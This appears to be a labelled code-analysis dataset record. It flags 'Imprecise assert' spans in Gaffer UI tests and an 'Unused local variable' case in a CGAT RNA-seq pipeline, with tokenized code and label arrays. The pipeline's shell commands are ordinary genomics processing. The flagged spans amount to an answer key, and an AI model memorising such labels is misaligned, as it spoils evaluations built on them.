"=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "security", "\\u", "groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gid", "s_", "=_", "self_", "._", "c_", "._", "get", "\\u", "security", "\\u", "group", "\\u", "ids_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "g_", "._", "security", "\\u", "group", "\\u", "id_", "for_", "g_", "in_", "groups_", "]_", ",_", "gid", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group_", "=_", "self_", "._", "c_", "._", "get", "\\u", "security", "\\u", "group_", "(_", "gid", "s_", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Imprecise assert
ImageEngine/gaffer/python/GafferUITest/BoxUITest.py
[ { "content": "\tdef testRenamingPlugs( self ) :\n\n\t\tbox = Gaffer.Box()\n\t\tbox[\"user\"][\"a\"] = Gaffer.IntPlug( flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic )\n\n\t\tui = GafferUI.NodeUI.create( box )\n\n\t\tw = ui.plugValueWidget( box[\"user\"][\"a\"], lazy=False )\n\t\tself.assertTrue( w is not None )\n\n\t\tbox[\"user\"][\"a\"].setName( \"b\" )\n\n\t\tw2 = ui.plugValueWidget( box[\"user\"][\"b\"], lazy=False )\n\t\tself.assertTrue( w2 is not None )\n\t\tself.assertTrue( w2 is w )", "metadata": "root.BoxUITest.testRenamingPlugs", "header": "['class', 'BoxUITest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 119 }, { "content": "\tdef testUIForOutputPlugTypes( self ) :\n\n\t\tbox = Gaffer.Box()\n\t\tbox[\"node\"] = Gaffer.Random()\n\t\tp = box.promotePlug( box[\"node\"][\"outColor\"] )\n\n\t\tnodeUI = GafferUI.NodeUI.create( box[\"node\"] )\n\t\tboxUI = GafferUI.NodeUI.create( box )\n\n\t\tnodeWidget = nodeUI.plugValueWidget( box[\"node\"][\"outColor\"], lazy = False )\n\t\tboxWidget = boxUI.plugValueWidget( p, lazy = False )\n\n\t\tself.assertTrue( type( boxWidget ) is type( nodeWidget ) )", "metadata": "root.BoxUITest.testUIForOutputPlugTypes", "header": "['class', 'BoxUITest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 148 } ]
[ { "span": "self.assertTrue( w is not None )", "start_line": 127, "start_column": 2, "end_line": 127, "end_column": 34 }, { "span": "self.assertTrue( w2 is not None )", "start_line": 132, "start_column": 2, "end_line": 132, "end_column": 35 }, { "span": "self.assertTrue( w2 is w )", "start_line": 133, "start_column": 2, "end_line": 133, "end_column": 28 }, { "span": "self.assertTrue( type( boxWidget ) is type( nodeWidget ) )", "start_line": 160, "start_column": 2, "end_line": 160, "end_column": 60 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Box", "UI", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Ren", "amin", "g", "Plug", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "box_", "=_", "Ga", "ffer", "_", "._", "Box_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "[_", "\"", "user", "\"_", "]_", "[_", "\"", "a", "\"_", "]_", "=_", "Ga", "ffer", "_", "._", "Int", "Plug", "_", "(_", "flags_", "=_", "Ga", "ffer", "_", "._", "Plug", "_", "._", "Flags_", "._", "Default_", "|_", "Ga", "ffer", "_", "._", "Plug", "_", "._", "Flags_", "._", "Dynamic", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ui_", "=_", "Ga", "ffer", "UI_", "._", "Node", "UI_", "._", "create_", "(_", "box_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "w_", "=_", "ui_", "._", "plug", "Value", "Widget_", "(_", "box_", "[_", "\"", "user", "\"_", "]_", "[_", "\"", "a", "\"_", "]_", ",_", "lazy_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "w_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "box_", "[_", "\"", "user", "\"_", "]_", "[_", "\"", "a", "\"_", "]_", "._", "set", "Name_", "(_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "w2_", "=_", "ui_", "._", "plug", "Value", "Widget_", "(_", "box_", "[_", "\"", "user", "\"_", "]_", "[_", "\"", "b", "\"_", "]_", ",_", "lazy_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "w2_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "w2_", "is_", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Box", "UI", "Test_", "(_", "Ga", "ffer", "UI", "Test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "UI", "For", "Output", "Plug", "Types_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "box_", "=_", "Ga", "ffer", "_", "._", "Box_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box_", "[_", "\"", "node", "\"_", "]_", "=_", "Ga", "ffer", "_", "._", "Random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "box_", "._", "promote", "Plug", "_", "(_", "box_", "[_", "\"", "node", "\"_", "]_", "[_", "\"", "out", "Color", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node", "UI_", "=_", "Ga", "ffer", "UI_", "._", "Node", "UI_", "._", "create_", "(_", "box_", "[_", "\"", "node", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box", "UI_", "=_", "Ga", "ffer", "UI_", "._", "Node", "UI_", "._", "create_", "(_", "box_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node", "Widget_", "=_", "node", "UI_", "._", "plug", "Value", "Widget_", "(_", "box_", "[_", "\"", "node", "\"_", "]_", "[_", "\"", "out", "Color", "\"_", "]_", ",_", "lazy_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box", "Widget_", "=_", "box", "UI_", "._", "plug", "Value", "Widget_", "(_", "p_", ",_", "lazy_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "type_", "(_", "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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
CGATOxford/cgat/obsolete/pipeline_rnaseq_brawand.py
[ { "content": "@transform( \"*.txt\", regex(r\"(\\S+).txt\"), r\"\\1.gtf\" )\ndef convertTxtToGtf( infile, outfile ):\n '''Convert txt to Gtf'''\n track = P.snip( os.path.basename(infile), \".txt\" )\n statement = '''cat %(infile)s \n | awk 'OFS=\"\\\\t\" {print \"chr\"$3,\"rnaseq\",\"exon\",$4,$5,0,substr($6,0,1),\".\",\"transcript_id \\\\\"\"$1\"\\\\\"; gene_id \\\\\"\"$1\"\\\\\"; exon_number \\\\\"\"substr($2,20,2)\"\\\\\"; \"}' \n | sed s/0\\\\\\\\t1\\\\\\\\t\\./0\\\\\\\\t+\\\\\\\\t\\./g | sed s/chrUltra/Ultra/ | sed s/chrContig/Contig/ > %(outfile)s'''\n P.run()", "metadata": "root.convertTxtToGtf", "header": "['module', '___EOS___']", "index": 142 }, { "content": "@transform( convertTxtToGtf, regex(r\"(\\S+).gtf\"), r\"\\1.transcripts.gtf\" )\ndef getGtfStrandedTranscripts( infile, outfile ):\n '''join exons to get transcripts from GTF file'''\n track = P.snip( os.path.basename(infile), \".gtf\" )\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2gtf.py --join-exons | sort -k1,1 -k4,4n > %(outfile)s'''\n P.run()", "metadata": "root.getGtfStrandedTranscripts", "header": "['module', '___EOS___']", "index": 152 }, { "content": "@transform( getGtfStrandedTranscripts, suffix(\".gtf\"), \".coding.gtf\")\ndef getEnsemblCodingGeneset( infile, outfile ):\n '''identify transcrpts that overlap an ensembl coding gene '''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n ensembl_noncoding = PARAMS[\"ensembl_noncoding\"]\n # need to remove transcripts that overlap 100% with noncoding transcripts\n statement = '''cat %(infile)s | intersectBed -a stdin -b %(ensembl_genes)s -u -s \n | intersectBed -a stdin -b %(ensembl_noncoding)s -v -s -f 1 -r\n | sort -k1,1 -k4,4n > %(outfile)s;\n echo \"transcripts with ensembl coding overlap: \" > %(outfile)s.count; \n cat %(outfile)s | wc -l >> %(outfile)s.count;'''\n P.run()", "metadata": "root.getEnsemblCodingGeneset", "header": "['module', '___EOS___']", "index": 160 }, { "content": "@transform( getEnsemblCodingGeneset, suffix(\".gtf\"), \".rename.gtf\")\ndef renameTranscripts( infile, outfile ):\n '''systematically rename transcripts to remove duplicate cuffdiff names '''\n statement = '''cat %(infile)s | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"transcript_id \\\\\"rnaseq_coding_transcript_\"NR\"\\\\\"; \"}' > %(outfile)s;'''\n P.run()", "metadata": "root.renameTranscripts", "header": "['module', '___EOS___']", "index": 174 }, { "content": "@transform(renameTranscripts, suffix(\".gtf\"), \".ensg.gtf\" )\ndef annotateTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n statement = '''cat %(infile)s \n | intersectBed -a stdin -b %(ensembl_genes)s -wa -wb -s \n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"\"$13\"\\\\\"; \"$9}'\n | sort -k1,1 -k4,4n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateTranscripts", "header": "['module', '___EOS___']", "index": 181 }, { "content": "@transform(annotateTranscripts, regex(r\"(\\S+).ensg.gtf\"), r\"all_transcripts.gtf\" )\ndef addMissingEnsemblTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_transcripts = PARAMS[\"ensembl_transcripts_gtf\"]\n statement = '''cat %(infile)s \n | intersectBed -a %(ensembl_transcripts)s -b stdin -v -s -f 1 -r > missing_ensembl_transcripts.gtf;\n cat %(infile)s missing_ensembl_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.addMissingEnsemblTranscripts", "header": "['module', '___EOS___']", "index": 192 }, { "content": "@follows( mkdir(\"geneset\") )\n@transform( addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), \"geneset/transcripts.gtf.gz\" )\ndef renameTranscriptToExon( infile, outfile ):\n '''reformat transcript file for use in proj007 pipeline '''\n statement = \"\"\"cat %(infile)s | sed s/\\\\\\\\ttranscript\\\\\\\\t/\\\\\\\\texon\\\\\\\\t/g\n | gzip > %(outfile)s; \"\"\"\n P.run()", "metadata": "root.renameTranscriptToExon", "header": "['module', '___EOS___']", "index": 203 }, { "content": "@transform( getGtfStrandedTranscripts, suffix(\".gtf\"), \".noncoding.gtf\")\ndef getNoncodingGeneset( infile, outfile ):\n '''Assume that all transcripts the do not overlap with ensembl coding geneset are noncoding '''\n ensembl_transcripts = PARAMS[\"ensembl_transcripts\"]\n statement = '''cat %(infile)s | intersectBed -a stdin -b %(ensembl_transcripts)s -v -s > %(outfile)s;\n echo \"transcripts without ensembl coding overlap: \" > %(outfile)s.count; \n cat %(outfile)s | wc -l >> %(outfile)s.count;'''\n P.run()", "metadata": "root.getNoncodingGeneset", "header": "['module', '___EOS___']", "index": 215 }, { "content": "@transform( getNoncodingGeneset, suffix(\".gtf\"), \".rename.gtf\")\ndef renameNoncodingTranscripts( infile, outfile ):\n '''systematically rename transcripts to remove duplicate cuffdiff names '''\n statement = '''cat %(infile)s | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"transcript_id \\\\\"rnaseq_noncoding_transcript_\"NR\"\\\\\"; \"}' > %(outfile)s;'''\n P.run()", "metadata": "root.renameNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 225 }, { "content": "@transform(renameNoncodingTranscripts, suffix(\".gtf\"), \".ensg.gtf\" )\ndef annotateNoncodingTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_noncoding = PARAMS[\"ensembl_noncoding_genes\"]\n statement = '''intersectBed -a %(infile)s -b %(ensembl_noncoding)s -wa -wb -s \n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"\"$13\"\\\\\"; \"$9}' > known_noncoding_exons.gtf; \n intersectBed -a %(infile)s -b %(ensembl_noncoding)s -v -s\n | awk -F \"\\\\t\" 'OFS=\"\\\\t\" {print $1,$2,$3,$4,$5,$6,$7,$8,\"gene_id \\\\\"novel_gene_\"NR\"\\\\\"; \"$9}' > novel_noncoding_transcripts.gtf; \n cat known_noncoding_exons.gtf novel_noncoding_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 232 }, { "content": "@transform(annotateNoncodingTranscripts, regex(r\"(\\S+).ensg.gtf\"), r\"all_noncoding_transcripts.gtf\" )\ndef addMissingNoncodingTranscripts( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_noncoding = PARAMS[\"ensembl_noncoding_gtf\"]\n statement = '''intersectBed -a %(ensembl_noncoding)s -b %(infile)s -v -s -f 1 -r > missing_ensembl_noncoding_transcripts.gtf;\n cat %(infile)s missing_ensembl_noncoding_transcripts.gtf | sort -k1,1 -k4,4n\n > %(outfile)s;'''\n P.run()", "metadata": "root.addMissingNoncodingTranscripts", "header": "['module', '___EOS___']", "index": 245 }, { "content": "@transform( addMissingEnsemblTranscripts, suffix(\".gtf\"), \".tab\" )\ndef transcriptGtfToTab( infile, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2tsv.py -f --log=%(outfile)s.log | awk '{if (NR==1) {print $0\"\\\\tgene_biotype\\\\tgene_name\"} else {print $0\"\\\\tprotein_coding\\\\tunknown\"}}' > %(outfile)s'''\n P.run()", "metadata": "root.transcriptGtfToTab", "header": "['module', '___EOS___']", "index": 258 }, { "content": "@transform( addMissingNoncodingTranscripts, suffix(\".gtf\"), \".tab\" )\ndef noncodingGtfToTab( infile, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/gtf2tsv.py -f --log=%(outfile)s.log | awk '{if (NR==1) {print $0\"\\\\tgene_biotype\\\\tgene_name\"} else {print $0\"\\\\tnoncoding\\\\tunknown\"}}' > %(outfile)s'''\n P.run()", "metadata": "root.noncodingGtfToTab", "header": "['module', '___EOS___']", "index": 265 }, { "content": "@follows(transcriptGtfToTab, noncodingGtfToTab)\n@merge( \"*.tab\", \"transcript_info.tab\" )\ndef mergeTranscriptInfo( infiles, outfile ):\n '''Copy replicated Bed files generated by capseq pipline to geneset-specific output directory'''\n inlist = \" \".join(infiles)\n statement = '''cat %(inlist)s | awk '{if (NR==1 || $1 != \"contig\") {print $0}}' > %(outfile)s'''\n P.run()", "metadata": "root.mergeTranscriptInfo", "header": "['module', '___EOS___']", "index": 272 }, { "content": "@transform( mergeTranscriptInfo, suffix(\".tab\"), \".tab.load\" )\ndef loadTranscripts( infile, outfile ):\n '''load GTF file into database '''\n headers = \"contig,source,feature,start,end,score,strand,frame,gene_id,transcript_id,gene_biotype\"\n statement = \"\"\"cat %(infile)s | python ~/src/csv2db.py \n --database=%(database)s\n --table=transcript_info\n --index=gene_id\n --index=contig,start\n --index=transcript_id\n > %(outfile)s; \"\"\"\n P.run()", "metadata": "root.loadTranscripts", "header": "['module', '___EOS___']", "index": 281 }, { "content": "@follows( mkdir(\"geneset\") )\n@transform(getEnsemblCodingGeneset, regex(r\"(\\S+).coding.gtf\"), r\"geneset/\\1.genes.bed\" )\ndef buildGeneIntervals( infile, outfile ):\n ''' Merge all transcripts per gene (including utr) to get start and stop \n coordinates for every protein-coding gene and store in a GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes_gtf\"]\n statement = '''cat %(ensembl_genes)s %(infile)s | mergeBed -i stdin -s -n \n | awk 'OFS=\"\\\\t\" {print $1,$2,$3,\"gene\"NR,$4,$5 }'\n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | sort -k1,1 -k2,2n > %(outfile)s;'''\n P.run()", "metadata": "root.buildGeneIntervals", "header": "['module', '___EOS___']", "index": 298 }, { "content": "@transform(buildGeneIntervals, regex(r\"geneset/(\\S+).genes.bed\"), r\"geneset/genes.bed\" )\ndef annotateGeneIntervals( infile, outfile ):\n ''' Add ensembl gene id to GTF file'''\n ensembl_genes = PARAMS[\"ensembl_genes\"]\n statement = '''cat %(infile)s \n | intersectBed -a stdin -b %(ensembl_genes)s -wa -wb -s \n | awk 'OFS=\"\\\\t\" {print $1,$2,$3,$10,$5,$6}' \n | sort -k1,1 -k2,2n > %(outfile)s;'''\n P.run()", "metadata": "root.annotateGeneIntervals", "header": "['module', '___EOS___']", "index": 311 }, { "content": "@transform(annotateGeneIntervals, regex(PARAMS['interface_genic_bed']), PARAMS['interface_upstream_flank_bed'] )\ndef buildUpstreamFlankBed( infile, outfile ):\n ''' build interval upstream of gene start for each entry in bed file'''\n window=PARAMS[\"geneset_flank\"]\n faidx=PARAMS[\"faidx\"]\n statement = '''flankBed -i %(infile)s -g %(faidx)s -l %(window)s -r 0 -s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildUpstreamFlankBed", "header": "['module', '___EOS___']", "index": 322 }, { "content": "@transform(annotateGeneIntervals, regex(PARAMS['interface_genic_bed']), PARAMS['interface_downstream_flank_bed'] )\ndef buildDownstreamFlankBed( infile, outfile ):\n ''' build interval downstream of gene start for each entry in bed file'''\n window=PARAMS[\"geneset_flank\"]\n faidx=PARAMS[\"faidx\"]\n statement = '''flankBed -i %(infile)s -g %(faidx)s -l 0 -r %(window)s -s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildDownstreamFlankBed", "header": "['module', '___EOS___']", "index": 332 }, { "content": "@merge((annotateGeneIntervals, buildUpstreamFlankBed, buildDownstreamFlankBed), os.path.join(\"geneset\",PARAMS['interface_intergenic_bed']) )\ndef buildIntergenicBed( infiles, outfile ):\n ''' Genomic regions not associated with any other features'''\n inlist = \" \".join(infiles)\n statement = '''cat %(inlist)s | complementBed -i stdin -g %(faidx)s \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log > %(outfile)s'''\n P.run()", "metadata": "root.buildIntergenicBed", "header": "['module', '___EOS___']", "index": 342 }, { "content": "@transform((annotateGeneIntervals,buildUpstreamFlankBed,buildDownstreamFlankBed,buildIntergenicBed), suffix(\".bed\"), \".gtf\" )\ndef convertBedToGtf( infile, outfile ):\n ''' convert bed files to GTF'''\n statement = '''cat %(infile)s | python %(scriptsdir)s/bed2gff.py --as-gtf | grep -v \"#\" > %(outfile)s'''\n P.run()", "metadata": "root.convertBedToGtf", "header": "['module', '___EOS___']", "index": 351 }, { "content": "@transform(addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_bed\"]) )\ndef buildTranscriptTSS( infile, outfile ):\n '''annotate transcription start sites from reference gene set.\n Similar to promotors, except that the witdth is set to 1. '''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=transcript_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildTranscriptTSS", "header": "['module', '___EOS___']", "index": 361 }, { "content": "@follows( convertBedToGtf )\n@files( \"geneset/genes.gtf\", os.path.join(\"geneset\", PARAMS[\"interface_tss_gene_bed\"]) )\ndef buildGeneTSS( infile, outfile ):\n '''create a single TSS for each gene'''\n statement = \"\"\"\n cat %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=gene_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildGeneTSS", "header": "['module', '___EOS___']", "index": 376 }, { "content": "@transform( addMissingEnsemblTranscripts, regex(r\"all_transcripts.gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_gene_interval_bed\"]) )\ndef buildGeneTSSInterval( infile, outfile ):\n '''create a single interval that encompasses all annotated TSSs for a given gene'''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | sed s/\\\\\\\\ttranscript\\\\\\\\t/\\\\\\\\texon\\\\\\\\t/g \n | python %(scriptsdir)s/gtf2gtf.py --merge-transcripts --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=transcript_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildGeneTSSInterval", "header": "['module', '___EOS___']", "index": 391 }, { "content": "@transform( addMissingNoncodingTranscripts, regex(r\"(\\S+).gtf\"), os.path.join(\"geneset\",PARAMS[\"interface_tss_gene_noncoding_bed\"]) )\ndef buildNoncodingGeneTSS( infile, outfile ):\n '''Assign a TSS for each non-coding gene'''\n statement = \"\"\"\n cat < %(infile)s \n | python %(scriptsdir)s/gff2gff.py --sanitize=genome --skip-missing --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gtf2gff.py --method=promotors --promotor=1 --genome-file=%(genome_dir)s/%(genome)s --log=%(outfile)s.log \n | python %(scriptsdir)s/gff2bed.py --is-gtf --name=gene_id --log=%(outfile)s.log \n | python %(scriptsdir)s/bed2bed.py --method=filter-genome --genome-file=%(genome_dir)s/%(genome)s --log %(outfile)s.log\n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.buildNoncodingGeneTSS", "header": "['module', '___EOS___']", "index": 407 }, { "content": "@transform( (buildTranscriptTSS, buildGeneTSS, buildGeneTSSInterval, buildNoncodingGeneTSS), suffix(\".bed.gz\"), \".extended.bed.gz\" )\ndef ExtendRegion( infile, outfile ):\n '''convert bed to gtf'''\n statement = \"\"\"gunzip < %(infile)s \n | slopBed -i stdin -g %(faidx)s -b 1000 \n | gzip\n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.ExtendRegion", "header": "['module', '___EOS___']", "index": 421 }, { "content": "@transform( (buildTranscriptTSS, buildGeneTSS, buildGeneTSSInterval, buildNoncodingGeneTSS, ExtendRegion), suffix(\".bed.gz\"), \".gtf\" )\ndef convertToGTF( infile, outfile ):\n '''convert bed to gtf'''\n statement = \"\"\"gunzip < %(infile)s \n | python %(scriptsdir)s/bed2gff.py --as-gtf --log=%(outfile)s.log \n > %(outfile)s \"\"\"\n P.run()", "metadata": "root.convertToGTF", "header": "['module', '___EOS___']", "index": 431 }, { "content": "@files( \"pipeline.ini\", \"ensembl.copy.log\" )\ndef copyEnsembl( infile, outfile ):\n '''convert bed to gtf'''\n ensembl_dir = PARAMS[\"ensembl_dir\"]\n statement = \"\"\"cp %(ensembl_dir)s/repeats.gtf geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/go.tsv.gz geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/goslim.tsv.gz geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/go_ontology.obo geneset/ 2> %(outfile)s;\n cp %(ensembl_dir)s/goslim.obo geneset/ 2> %(outfile)s;\"\"\"\n P.run()", "metadata": "root.copyEnsembl", "header": "['module', '___EOS___']", "index": 443 }, { "content": "@files( \"pipeline.ini\", \"ensembldb.copy.log\" )\ndef copyEnsemblDb( infile, outfile ):\n '''copy tables from ensembl database to rnaseq database'''\n table_list = P.asList(PARAMS[\"ensembl_tables\"])\n dbhandle = sqlite3.connect( PARAMS[\"database\"] )\n cc = dbhandle.cursor()\n query = \"\"\"ATTACH \"%s\" as ensembl;\"\"\" % PARAMS[\"ensembl_db\"]\n cc.execute( query )\n for table in table_list:\n cc = dbhandle.cursor()\n query = \"\"\"CREATE TABLE %s AS SELECT * FROM ensembl.%s;\"\"\" % (table, table)\n print query\n cc.execute( query )\n cc.close()\n statement = \"\"\"touch %(outfile)s;\"\"\"\n P.run()", "metadata": "root.copyEnsemblDb", "header": "['module', '___EOS___']", "index": 455 }, { "content": "@transform( loadTranscripts, regex(r\"(\\S+).load\"), \"gene_name.update.log\" )\ndef updateGeneName( infile, outfile ):\n '''update gene name from ensembl database'''\n dbhandle = sqlite3.connect( PARAMS[\"database\"] )\n cc = dbhandle.cursor()\n query = \"\"\"ATTACH \"%s\" as ensembl;\"\"\" % PARAMS[\"ensembl_db\"]\n cc.execute( query )\n query = \"\"\"UPDATE transcript_info SET gene_name=\n (SELECT gene_name from ensembl.transcript_info \n WHERE transcript_info.gene_id=ensembl.transcript_info.gene_id);\"\"\"\n print query\n cc.execute( query )\n cc.close()\n statement = \"\"\"touch %(outfile)s;\"\"\"\n P.run()", "metadata": "root.updateGeneName", "header": "['module', '___EOS___']", "index": 473 } ]
